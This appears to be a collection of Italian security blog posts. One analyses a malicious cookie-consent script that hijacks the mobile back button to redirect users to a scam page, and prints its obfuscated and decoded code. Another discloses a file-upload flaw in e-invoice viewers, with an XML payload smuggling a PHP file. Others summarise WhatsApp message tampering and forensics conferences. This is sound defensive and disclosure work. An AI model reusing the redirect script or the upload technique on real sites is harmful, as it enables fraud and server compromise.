Lo strano caso delle promozioni truffa che infettano i siti web senza “bucarli”

Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?

Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.

Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.

Screenshot che rappresenta un presunto "Concorso Promozionale Amazon"
La finta promozione Amazon comparsa alla pressione del tasto Indietro

La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.

Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.

Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.

Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>

Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:

var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}

Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:

if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i ['test'](navigator['userAgent'])) {
    ! function() {
        var _0xa9b1x1;
        try {
            for (_0xa9b1x1 = 0; 10 > _0xa9b1x1; ++_0xa9b1x1) {
                history['pushState']({}, '', '#')
            };
            onpopstate = function(_0xa9b1x1) {
                _0xa9b1x1['state'] && location['replace']('http://to.2central.icu/?utm_medium=5bf505ea2bec0fa2043811e009bf9e5f05212292&utm_campaign=2central&1=')
            }
        } catch (o) {}
    }()
}

Ahia! Questa nefandezza si può riassumere in parole molto semplici:

  • se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
  • quando viene premuto il tasto Indietro, rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina

In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.

Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.

Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.

Come i malintenzionati potrebbero falsificare i messaggi WhatsApp

Il 31 maggio si è tenuto il seminario ONIF (Osservatorio Nazionale Informatica Forense) a Firenze, intitolato Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati.

In quell’occasione, ho voluto proporre un intervento riguardante il tampering dei messaggi WhatsApp, con alcune osservazioni sul rilevamento di queste manomissioni e le eventuali conseguenze pratiche. Lo scopo non era certo quello di dichiarare “inammissibile” in tribunale qualsiasi tipo di conversazione WhatsApp, ma solo porre alcune riflessioni sul significato e l’affidabilità che si dà a questo tipo di evidenze.

Mi sembrava interessante parlarne, anche considerando che a volte ci si è trovati di fronte a casi in cui persino gli screenshot sono stati considerati come elementi di prova validi (va ricordato che scientificamente non lo sono e non possono esserlo).

Nell’informatica forense è sempre utile interrogarsi su come potrebbero agire i malintenzionati per alterare o fabbricare prove digitali fasulle. Questo ci aiuta a ragionare su ciò che analizziamo e considerare tutto quanto con spirito critico.

Durante il talk Conseguenze e rilevamento del tampering sui messaggi WhatsApp, ho proposto due esperimenti per cercare di capire se fosse possibile:

  • modificare il testo di un messaggio ricevuto da un’altra persona, a vantaggio del destinatario
  • creare un messaggio finto, mai realmente ricevuto, e inserirlo nel proprio telefono in una conversazione con un’altra persona
Video integrale dell’intervento

Entrambi gli esperimenti sono stati effettuati sul database SQLite delle chat, trasferito su un dispositivo di lavoro tramite backup Google. Il trasferimento ci permette di lavorare su un dispositivo sottoposto a rooting anche quando lo smartphone originale non è “sbloccato”.

La modifica di un messaggio esistente è relativamente semplice, in quanto risulta sufficiente cercare il testo originale, modificarlo e salvare. Per quanto riguarda la creazione di un messaggio fasullo, essa richiede invece più attenzione. È necessario modificare gli id di tutti i messaggi successivi affinché non venga rilevata la manomissione.

In ogni caso, con un po’ di precisione e perseveranza, un malintenzionato potrebbe alterare i messaggi nelle proprie chat WhatsApp senza lasciare tracce visibili, per esempio inserendo illecitamente finti messaggi di minaccia insinuando poi di averli davvero ricevuti.

Maggiori dettagli sui procedimenti accennati sono presentati nel video dell’intervento disponibile su YouTube, nonché nelle slide che potete scaricare qui sotto.

Scarica le slide

Nella parte finale del video esprimevo stupore sul fatto che il mio contatto non avesse visualizzato notifiche sul codice di sicurezza cambiato. Due partecipanti al convegno mi hanno fatto notare come WhatsApp tenga disattivate queste notifiche, come impostazione di default. Li ringrazio per avermi chiarito questo dettaglio, che mi era totalmente sfuggito.

Seminario ONIF “Orizzonte 2020” — Firenze, 31/05/2019

L’associazione ONIF (Osservatorio Nazionale Informatica Forense) ha pubblicato il programma del convegno Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati. Il seminario si terrà il 31 maggio a Firenze, presso la Sala Verde di Palazzo Incontri, Via de Pucci 1, 50122 Firenze.

L’agenda è ricca di interventi molto interessanti, sia sul piano tecnico-scientifico che su quello legislativo. Questo è il programma completo:

  • 9:00 — Registrazione
  • 9:15 — Apertura lavori
    Banca Intesa Sanpaolo, Fondazione Forense di Firenze, Dott. Nanni Bassetti, Segretario Nazionale ONIF
  • 9:30 — Le nuove regole e la revisione dell’albo CTU del Tribunale di Firenze
    Ufficio di Presidenza del Tribunale di Firenze
  • 10:00 — Il Netherlands Register of Court Experts (NRGD)
    Dott. Mattia Epifani
  • 10:30 — Legge 48/2008, attesa quanto ignorata: dieci anni di casi reali
    Ing. Paolo Reale, Avv. Elisabetta Guarnieri
  • 11:00 — Break
  • 11:20 — Analisi di dispositivi mobile: stato attuale, integrazione con il cloud e difficoltà future
    Ing. Michele Vitiello, Dott. Paolo Dal Checco
  • 11:40 — Rilevamento e conseguenze delle manomissioni sui messaggi WhatsApp
    Dott. Andrea Lazzarotto
  • 12:00 — Digital Forensics Data Breach: perché gestire la violazione dei dati in maniera forense
    Dott. Alessandro Fiorenzi
  • 12:20 — Immagini e video digitali come fonte di prova
    Dott. Massimo luliani
  • 12:40 — Saluti e chiusura

Per partecipare all’evento è necessario procedere all’iscrizione gratuita sulla piattaforma EventBrite, facendo click sul seguente bottone.

Iscrizione gratuita

Forensics Europe Expo 2019: due giorni di fiera e seminari sulle scienze forensi

Il 5 e 6 marzo a Londra si è svolta la Forensics Europe Expo 2019, un evento focalizzato sulle analisi scientifiche, la scena del crimine, le attrezzature da laboratorio e la digital forensics. La manifestazione ha fatto parte della più ampia cornice della UK Security Week, nella quale erano presenti anche altre expo riguardanti la sicurezza e l’anti-terrorismo.

Entrambe le giornate sono state caratterizzate da un fitto programma di seminari, la maggior parte dei quali riguardanti l’informatica forense. Rimaneva perciò poco tempo per visitare gli stand degli espositori, ma sono comunque soddisfatto perché ho assistito a quasi tutti gli interventi e sono riuscito a dare un’occhiata ai vari padiglioni.

La mattina di martedì è cominciata in grande stile, con dei controlli di sicurezza analoghi a quelli di un aeroporto. Nonostante la puntualità dei partecipanti, la fila per la scansione a raggi X ha fatto perdere a gran parte del pubblico quasi tutto l’intervento di Stuart Hutchinson riguardante l’analisi di partizioni APFS. È stato un vero peccato.

Tanya Pankova ha affrontato una delle applicazioni più “succulente” in ambito forense, con il talk WhatsApp Forensics: evidence hide-and-seek. Tra gli spunti più interessanti spiccano il fatto che i file multimediali nei backup sul cloud non sono criptati, la possibilità di usare il token WhatsApp per decifrare qualsiasi backup associato a uno specifico numero e l’estrazione delle chat sfruttando il QR-code di WhatsApp Web.

I droni stanno aumentando di popolarità, tanto da essere stati oggetto di due interventi diversi, rispettivamente di Harsh Behl e Paul Baxter. Questi apparecchi ricadono nella categoria dei dispositivi mobili e contengono soprattutto file multimediali e tracciati GPS in formato DAT. L’acquisizione molto spesso si rivela la parte più semplice, mentre l’analisi dei dati richiede maggiore impegno.

Un sistema di rilevamento per droni degno di un film di fantascienza

David Spreadborough di Amped ha illustrato le problematiche che gli agenti di polizia si trovano spesso ad affrontare quando devono analizzare i filmati delle telecamere di videosorveglianza. Nella maggior parte dei casi non servono strumenti avanzati, ma l’obiettivo essenziale è decodificare agevolmente i video, effettuare semplici operazioni (ritaglio, zoom, deinterlacciamento) ed esportare dei fotogrammi.

Al pomeriggio Dusan Kozusnik ha presentato un intervento dal titolo Advanced phone forensics – unlocking phones and getting maximum evidence, fornendo una panoramica generale sull’analisi forense degli smartphone. Dopo aver affrontato una carrellata di tecniche avanzate di accesso ai dati, ha concluso con uno spunto davvero interessante: dopo l’acquisizione, la vera sfida è l’interpretazione dei dati racchiusi nelle app, incluse quelle meno comuni.

Le operazioni di acquisizione forense devono comunque essere svolte in modo corretto, per questo Oleg Afonin le ha affrontate nel talk iOS Forensics: from logical acquisition to cloud extraction sottolineando in particolare cosa (non) bisogna fare quando si sequestra un dispositivo iOS.

Alessandro Di Carlo di BIT4LAW ha proposto un breve intervento intitolato Forensic readiness and digital forensics evidence in the Italian court, focalizzandosi in particolare sulle peculiarità del sistema giudiziario italiano. Nello specifico, la riproducibilità scientifica della prova assume un’importanza assoluta mentre non trovano spazio le testimonianze degli expert witness nel modo in cui si svolgono nei sistemi anglosassoni.

David Toy ha proposto una tecnica per la ricerca di specifici elementi di “contrabbando” basata su un hashing statistico dei blocchi, fornendo tempi di risposta molto più veloci rispetto alle classiche ricerche che sfruttano gli hash di interi file. Infine, Paola Pietrobon di SecureCube ha concluso la giornata con un approfondimento relativo al funzionamento delle celle e all’analisi dei tabulati telefonici.

La seconda giornata ha avuto un taglio decisamente più scientifico

La giornata di mercoledì è stata dedicata in gran parte al workshop di DigForAsp (Digital forensics: evidence analysis via intelligent systems and practices), un progetto scientifico finanziato dal programma Horizon 2020 dell’Unione Europea. L’agenda è stata ricca di interventi molto interessanti e a contenuto veramente informatico.

I talk si rivolgevano pertanto a un pubblico con almeno alcune conoscenze matematiche di livello universitario, al fine di presentare il lavoro dei ricercatori presenti. Questo mi ha lasciato perplesso: a mio parere i contenuti scientifici erano molto validi ma il format non si è rivelato ottimale. I minuti disponibili per ogni intervento erano pochi e venivano spesi per presentare frettolosamente la parte teorica e matematica, relegando le applicazioni in ambito di informatica forense a brevi cenni che avrebbero meritato più spazio.

Nel complesso ho apprezzato molto questo evento e c’è stata anche la possibilità di rivedere alcuni amici, nonché scambiare due chiacchiere con gli espositori, compresi alcuni membri delle tre aziende italiane presenti. Se volete saperne di più sul contenuto della manifestazione potete trovare qui la lista completa dei seminari.

Come ti distruggo il sito web con una fattura elettronica

A partire da quest’anno, finalmente, è stata introdotto l’utilizzo della fatturazione elettronica verso tutti. Avendo lavorato allo sviluppo e l’implementazione di tutte le soluzioni software necessarie per un mio cliente (che gestisce uno studio di commercialisti), ho potuto vedere come molte aziende sono andate in panico per quella che è in realtà una novità bella, utile ed ecologica.

Ovviamente il formato delle fatture elettroniche è documentato, aperto e standard, per consentire a tutti quanti di creare software che permetta di generare fatture elettroniche, nonché visualizzare e importare quelle prodotte da altri. Esistono anche diversi siti web che forniscono un servizio di visualizzatore online per fatture elettroniche.

Una caratteristica interessante della fattura elettronica è il fatto che il formato consente l’inserimento di allegati, tramite l’uso di specifici tag XML e la codifica in base64 del documento allegato. Molti gestionali usano questa possibilità per inserire una rappresentazione in PDF dentro alla fattura elettronica XML. Si tratta della vecchia fattura “cartacea” digitale, più semplice da leggere ma senza valore legale.

Questo si traduce, dentro al file XML, in un codice simile a questo:

<Allegati>
    <NomeAttachment>documento.pdf</NomeAttachment>
    <Attachment>
    JVBERi0xLjcKJeLjz9MNCjIgMCBvYmoKPDwvQ291bnQgMSAvS2lkcyBbMSAwIFJdIC9UeXBlIC9QYWdl
    cyA+PgplbmRvYmoKCjUgMCBvYmoKPDwvTGVuZ3RoIDQgL1JlYWRkbGVQYWdlQmFja2dyb3VuZENvbnRl
    bnRTdHJlYW0gPDw+PiA+PnN0cmVhbQpxClEKCmVuZHN0cmVhbQplbmRvYmoKCjQgMCBvYmoKPDwvUHJv
    Y1NldCBbL1BERiAvVGV4dF0gPj4KZW5kb2JqCgoxIDAgb2JqCjw8L0NvbnRlbnRzIFs1IDAgUl0gL0Ny
    b3BCb3ggWzAgMCA2MTIgNzkyXSAvTWVkaWFCb3ggWzAgMCA2MTIgNzkyXSAvUGFyZW50IDIgMCBSIC9S
    ZWFkZGxlUGFwZXJJbmZvIDw8L0NvbG9ySWQgL1doaXRlIC9TdHlsZUlkIC9CbGFuayA+PiAvUmVzb3Vy
    Y2VzIDQgMCBSIC9Sb3RhdGUgMCAvVHlwZSAvUGFnZSA+PgplbmRvYmoKCjMgMCBvYmoKPDwvUGFnZXMg
    MiAwIFIgL1R5cGUgL0NhdGFsb2cgPj4KZW5kb2JqCgo2IDAgb2JqCjw8L0NyZWF0aW9uRGF0ZSAoRDoy
    MDE5MDExOTIzMTIzOCswMScwMCcpIC9Nb2REYXRlIChEOjIwMTkwMTE5MjMxMjM4KzAxJzAwJykgL1By
    b2R1Y2VyIChQREYgRXhwZXJ0IDIuNC4yMSBNYWMpID4+CmVuZG9iagoKNyAwIG9iago8PC9GaWx0ZXIg
    L0ZsYXRlRGVjb2RlIC9JRCBbPGM5NmM5NTBhZGJmZDY1OTE4Y2E0ZTVjNmNhNzVmOGE5PiA8Yzk2Yzk1
    MGFkYmZkNjU5MThjYTRlNWM2Y2E3NWY4YTk+XSAvSW5kZXggWzEgN10gL0luZm8gNiAwIFIgL0xlbmd0
    aCAzNyAvUm9vdCAzIDAgUiAvU2l6ZSA4IC9UeXBlIC9YUmVmIC9XIFsxIDQgNF0gPj5zdHJlYW0KeJxj
    ZGBguAjEDIxALABlME6GiSyDMTxhUkegDCY3EAMAc7sDeQplbmRzdHJlYW0KZW5kb2JqCgoKJSBQREYg
    RXhwZXJ0IDYwOSBNYWMgT1MgRG1nIDhiMTQ2ZWU0NzQyOSsKCnN0YXJ0eHJlZgo1ODIKJSVFT0YK
    </Attachment>
</Allegati>

Questo esempio può sembrare artificiale, ma in realtà la rappresentazione in base64 scritta qui sopra contiene un vero file PDF, con una sola pagina bianca completamente vuota in formato Letter. Naturalmente un documento con del testo occuperebbe più spazio.

Come potete notare, viene anche indicato il nome del file allegato.

I visualizzatori online

Perché vi ho spiegato tutti questi dettagli sugli allegati alle fatture elettroniche? È presto detto: mi era stato chiesto di cercare un visualizzatore che potesse mostrare agevolmente gli allegati. Tra i primi che ho trovato ce n’erano due:

Provando entrambi i servizi con una fattura contenente allegati, ho potuto verificare che tutti e due i siti (scritti in PHP) funzionavano nello stesso modo:

  1. L’utente carica un file XML
  2. Il sito lo riceve e ne crea una copia in una directory temporanea
  3. Il sito controlla la presenza di eventuali allegati, se presenti estrae anch’essi con il nome originale
  4. All’utente viene permesso di visualizzare graficamente il contenuto della fattura, con i link agli eventuali allegati

Nel caso in cui leggere il punto 3 non vi abbia fatti trasalire, sentendo un forte brivido corrervi lungo la schiena, posso dirvi che mi auguro non lavoriate nell’industria dello sviluppo software. Se invece lo fate, vi chiedo di rileggerlo un paio di volte.

La vulnerabilità

Permettere ad un utente di caricare dei file non è di per sé pericoloso, posto che vengano prese le misure di sicurezza necessarie. Tuttavia i siti analizzati effettuavano dei controlli sulla fattura XML ma non sugli allegati. Questo significa che era possibile creare una fattura (vera o finta, non ha importanza) con allegato un file con estensione PHP, il linguaggio più comunemente usato per programmare siti web.

I siti stessi estraevano i file PHP dagli allegati e li copiavano nella rispettiva directory temporanea, fornendone poi l’URL all’utente. Al malintenzionato di turno sarebbe bastato quindi inserire del codice malevolo per poi effettuare vari tipi di operazioni.

Per fare un test rivelatore ma innocuo, ho creato una fattura la cui sezione degli allegati è la seguente:

<Allegati>
    <NomeAttachment>wowowowo.php</NomeAttachment>
    <Attachment>PD9waHAgcGhwaW5mbygpOw==</Attachment>
</Allegati>

Potete visualizzare il documento completo cliccando qui. Il contenuto codificato corrisponde al seguente programma:

<?php phpinfo();

Si tratta di uno script inerte, che non arreca nessun tipo di danno al server sul quale viene eseguito, ma mostra soltanto le informazioni sulla versione del software installato. Perciò consente in modo semplice di verificare se il codice PHP gira correttamente.

Entrambi i siti summenzionati hanno accettato senza problemi la mia fattura emessa da Paperino a Zio Paperone, estraendo l’allegato in PHP e fornendone l’URL. Dagli screenshot potete vedere chiaramente che il codice veniva eseguito:

In realtà, pur avendo eseguito un codice assolutamente innocuo e privo di conseguenze, se io fossi stato un malintenzionato avrei potenzialmente potuto fare molto peggio. Per esempio, un attaccante avrebbe potuto decidere di caricare un file manager in PHP come questo su uno dei siti e usarlo per:

  1. Modificare il visualizzatore di fatture affinché salvasse una copia di ogni file caricato
  2. Alterare la pagina di login, in modo che le credenziali inserite dagli utenti finissero nelle mani sbagliate
  3. Creare pagine in una posizione qualsiasi del sito e usarle per una campagna di phishing
  4. Cancellare completamente tutto il sito web

No, non sto esagerando.

Conclusione

Quando si sviluppa del software, specialmente le applicazioni web esposte all’utilizzo indiscriminato di migliaia di utenti, prestare la massima attenzione alla sicurezza è assolutamente imprescindibile. In questo caso sussisteva un rischio per i dati caricati dagli utenti, nonché per i contenuti stessi del sito web che avrebbero potuto essere alterati o eliminati.

Il rischio dato dalla possibilità di upload di file da parte degli utenti si può eliminare in diversi modi:

  • Inserendo una whitelist di estensioni consentite (ad esempio PDF, JPG)
  • Disattivando l’esecuzione degli script nella directory di destinazione degli upload, in tal caso visitare un file PHP avrebbe mostrato il codice senza eseguirlo
  • Nel caso degli allegati di fatture, optando per non estrarli e ripresentarli all’utente tramite data URL (non tutti i formati sono consentiti, ma quelli ai file PDF sì)

Ovviamente i gestori di entrambi i siti web sono stati preventimente informati del problema ed è stato dato loro modo di correggerlo prima che questo articolo venisse pubblicato. L’autore di AmministrazioniComunali.it ha risposto con estrema prontezza comunicandomi di aver chiuso la falla.

Da quanto ho potuto vedere, tutti e due i siti hanno optato per la whitelist, che è un’ottima soluzione.

Come considerazione finale, aggiungo che prima di scrivere questo post ho verificato che anche Ser.Val. ha risolto la falla segnalata, anche se non avevo ricevuto risposta. Risulta degno di nota il fatto che sul loro server la pagina di informazioni mostrava la presenza di PHP versione 5.6, che è quantomeno bizzarro. Come avevo già avuto modo di commentare su Facebook, PHP 5.6 è una versione fuori supporto dal 31 dicembre 2018 e sarebbe bene migrare prontamente ad una versione più recente, nello specifico PHP 7.2 o 7.3.

Come già scrivevo in questo post di due mesi fa, è bene che chi opera in questo settore prenda sul serio l’importanza della sicurezza informatica. Eventualmente facendo anche analizzare la propria infrastruttura software da un consulente esterno.

Cronologia della responsible disclosure

  • 11 gennaio 2019: scorgo la presenza di una potenziale vulnerabilità
  • 13 gennaio 2019: notifico i gestori dei due siti web coinvolti
  • 14 gennaio 2019: AmministrazioniComunali.it risponde confermando di aver risolto il problema
  • 16 gennaio 2019: mi accorgo che anche Ser.Val. ha modificato il sito, senza però rispondere
  • 20 gennaio 2019: pubblico questo articolo
  • 22 gennaio 2019: Ser.Val. risponde confermando di aver risolto il problema ed effettuato una verifica interna per verificare eventuali data breach, ai sensi del GDPR

Aggiornamento del 22 gennaio 2019: Ser.Val. ha risposto alla mia segnalazione dopo la pubblicazione di questo post, ringraziandomi e descrivendo le contromisure che hanno adottato. Il contenuto del post è stato modificato per tenere conto di questa risposta.